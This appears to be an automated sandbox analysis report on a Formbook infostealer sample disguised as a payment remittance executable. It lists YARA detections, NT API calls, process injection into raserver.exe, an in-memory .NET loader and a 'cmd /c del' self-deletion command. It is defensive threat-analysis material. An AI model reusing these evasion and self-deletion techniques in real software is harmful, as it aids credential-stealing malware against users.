Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 1_2_04890040
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 1_2_0489003F
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00401030
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041D179
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041C1D0
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041C9FF
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041CA0B
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00408C7B
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041C4CC
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00408C80
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041BDE3
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00402D87
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00402D90
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041C5B7
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00402FB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476841F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481D466
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04750D20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048225DD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04822D07
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476D5E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04821D55
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04782581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04776E30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04822EF7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481D616
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482DFCE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04821FF1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048220A8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477A830
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048228EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04811002
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0482E824
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047820A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0476B090
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04774120
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0475F900
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047799BF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048222AE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0480FA2B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0477AB40
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0481DBD2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_048103DA
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04822B28
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0478EBB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071D179
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071C9FF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071C1D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071CA0B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00708C7B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071C4CC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00708C80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071BDE3
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00702D90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00702D87
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00702FB0

Source: C:\Windows\SysWOW64\raserver.exe

Code function: String function: 0475B150 appears 72 times

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_004185E0 NtCreateFile,
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00418690 NtReadFile,
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00418710 NtClose,
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_004187C0 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041868A NtReadFile,
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041870A NtClose,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047995D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047996E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047996D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047999A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799560 NtWriteFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047995F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479A770 NtOpenThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799760 NtOpenProcess,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047997A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047998F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047998A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047999D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799A20 NtResumeThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799A10 NtQuerySection,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_04799B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0479A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_007185E0 NtCreateFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00718690 NtReadFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00718710 NtClose,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_007187C0 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071868A NtReadFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071870A NtClose,

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Binary or memory string: OriginalFilename vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCF_Secretaria.dll< vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.225335486.00000000003C2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSerializationHeaderReco.exe8 vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.225993143.0000000000BBB000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameEnvoySinks.dll6 vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Binary or memory string: OriginalFilename vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.302006215.0000000000F94000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameraserver.exej% vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.303502359.000000000163F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.301350548.00000000008A2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSerializationHeaderReco.exe8 vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Binary or memory string: OriginalFilenameSerializationHeaderReco.exe8 vs Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Virustotal: Detection: 28%
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

File read: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe:Zone.Identifier

Jump to behavior

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process created: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\raserver.exe C:\Windows\SysWOW64\raserver.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process created: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/1@11/4

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1392:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.302407881.0000000001390000.00000040.00000001.sdmp, raserver.exe, 00000013.00000002.477861762.000000000484F000.00000040.00000001.sdmp
Source:	Binary string: RAServer.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.301852623.0000000000F59000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.302407881.0000000001390000.00000040.00000001.sdmp, raserver.exe
Source:	Binary string: RAServer.pdbGCTL source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000005.00000002.301852623.0000000000F59000.00000004.00000020.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\HJmNUXoTNN\src\obj\Debug\SerializationHeaderReco.pdb source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, ConsoleGame/Form1.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 1.0.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.3c0000.0.unpack, ConsoleGame/Form1.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 1.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.3c0000.0.unpack, ConsoleGame/Form1.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 5.0.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.8a0000.0.unpack, ConsoleGame/Form1.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.8a0000.1.unpack, ConsoleGame/Form1.cs	.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041B822 push eax; ret
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041B82B push eax; ret
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041B88C push eax; ret
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00418AC2 push ecx; ret
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_00415B75 push ds; ret
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Code function: 5_2_0041B7D5 push eax; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_047AD0D1 push ecx; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071B822 push eax; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071B82B push eax; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071B88C push eax; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00718AC2 push ecx; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_00715B75 push ds; ret
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 19_2_0071B7D5 push eax; ret

Source: initial sample

Static PE information: section name: .text entropy: 7.48050578829

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	File created: \electronic payment remittance document 09.13.21 vrf 65665011119889.exe
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	File created: \electronic payment remittance document 09.13.21 vrf 65665011119889.exe

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\raserver.exe	Process created: /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'
Source: C:\Windows\SysWOW64\raserver.exe	Process created: /c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'

Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe	Process information set: NOOPENFILEERRORBOX
